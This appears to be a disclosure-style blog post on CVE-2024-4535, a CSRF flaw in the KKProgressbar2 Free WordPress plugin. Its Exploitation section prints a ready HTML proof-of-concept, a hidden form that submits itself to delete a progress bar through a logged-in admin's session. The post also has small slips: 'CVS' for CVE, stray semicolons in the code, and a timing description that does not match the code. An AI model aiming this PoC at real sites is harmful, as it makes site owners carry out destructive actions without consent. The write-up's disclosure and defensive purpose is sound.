CVE-2024-4535: Exploring the KKProgressbar2 Free WordPress Plugin CSRF Vulnerability in Versions up to 1.1.4.2
Recently, security researchers have discovered a vulnerability in the KKProgressbar2 Free WordPress plugin. CVS systems have assigned this vulnerability with the code CVE-2024-4535, and it is present in all versions up to 1.1.4.2. This post aims to provide a comprehensive overview of the vulnerability by discussing its technical aspects, demonstrating an exploitation code snippet, and linking to original reference materials. As always, we encourage webmasters to keep their plugins up to date to ensure the best possible security.
Vulnerability Details
The vulnerability in question is a Cross-Site Request Forgery (CSRF) issue, which implies that an attacker can exploit it to make logged-in users perform undesired actions without their consent. The KKProgressbar2 Free WordPress plugin does not properly enforce CSRF checks in some places, providing potential attackers with an opportunity to exploit this weakness.
Exploitation
To exploit this vulnerability, an attacker would need to craft a malicious web page containing specific code designed to trigger the CSRF attack. When a user is logged into their WordPress admin panel and then visits this malicious page, it can perform unauthorized actions on the WordPress site that leverage the user's privileges.
Here is a code snippet that demonstrates a proof-of-concept (PoC) CSRF attack on the KKProgressbar2 Free WordPress plugin:
<!DOCTYPE html>
<html>
<body>
<script>
// Replace the following with the targeted site's URL
var target_site_URL = "https://example.com/wp-admin/admin.php?page=kkpb_menu";;
function submitForm() {
document.getElementById("malicious_form").submit();
}
setTimeout(submitForm, 400);
</script>
<form id="malicious_form" action="https://example.com/wp-admin/admin.php?page=kkpb_menu"; method="POST" style="display:none;">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="progressID" value="6">
</form>
</body>
</html>
This code snippet creates a hidden HTML form that, upon submission, sends a POST request to the target WordPress site configured to delete an existing progress bar. The form automatically submits after a few seconds.
Mitigation
To mitigate this vulnerability, webmasters can check for theme and plugin updates to ensure they have the latest version that includes security patches. Additionally, implementing CSRF protection on all sensitive forms and actions is highly recommended.
It would also help if the plugin developer released a security patch to address the identified vulnerability and safeguard users against possible CSRF attacks. A viable solution would be to include proper CSRF checks and ensure that every form submission is validated accordingly.
Original References
For further information on the CVE-2024-4535 vulnerability in the KKProgressbar2 Free WordPress plugin, please consult the following resources:
1. Official CVE-2024-4535 description
2. WordPress plugin vulnerability database entry
Conclusion
The disclosure of the CVE-2024-4535 vulnerability in the KKProgressbar2 Free WordPress plugin highlights the importance of continually monitoring and updating the plugins installed on your WordPress site. Regular plugin updates and strong security practices can help minimize the risk associated with CSRF vulnerabilities and potentially prevent attackers from exploiting your site. We strongly urge all users of the KKProgressbar2 Free WordPress plugin to take necessary precautions and to follow this space for any updates on the matter.
Timeline
Published on: 05/27/2024 06:15:10 UTC
Last modified on: 05/28/2024 12:39:28 UTC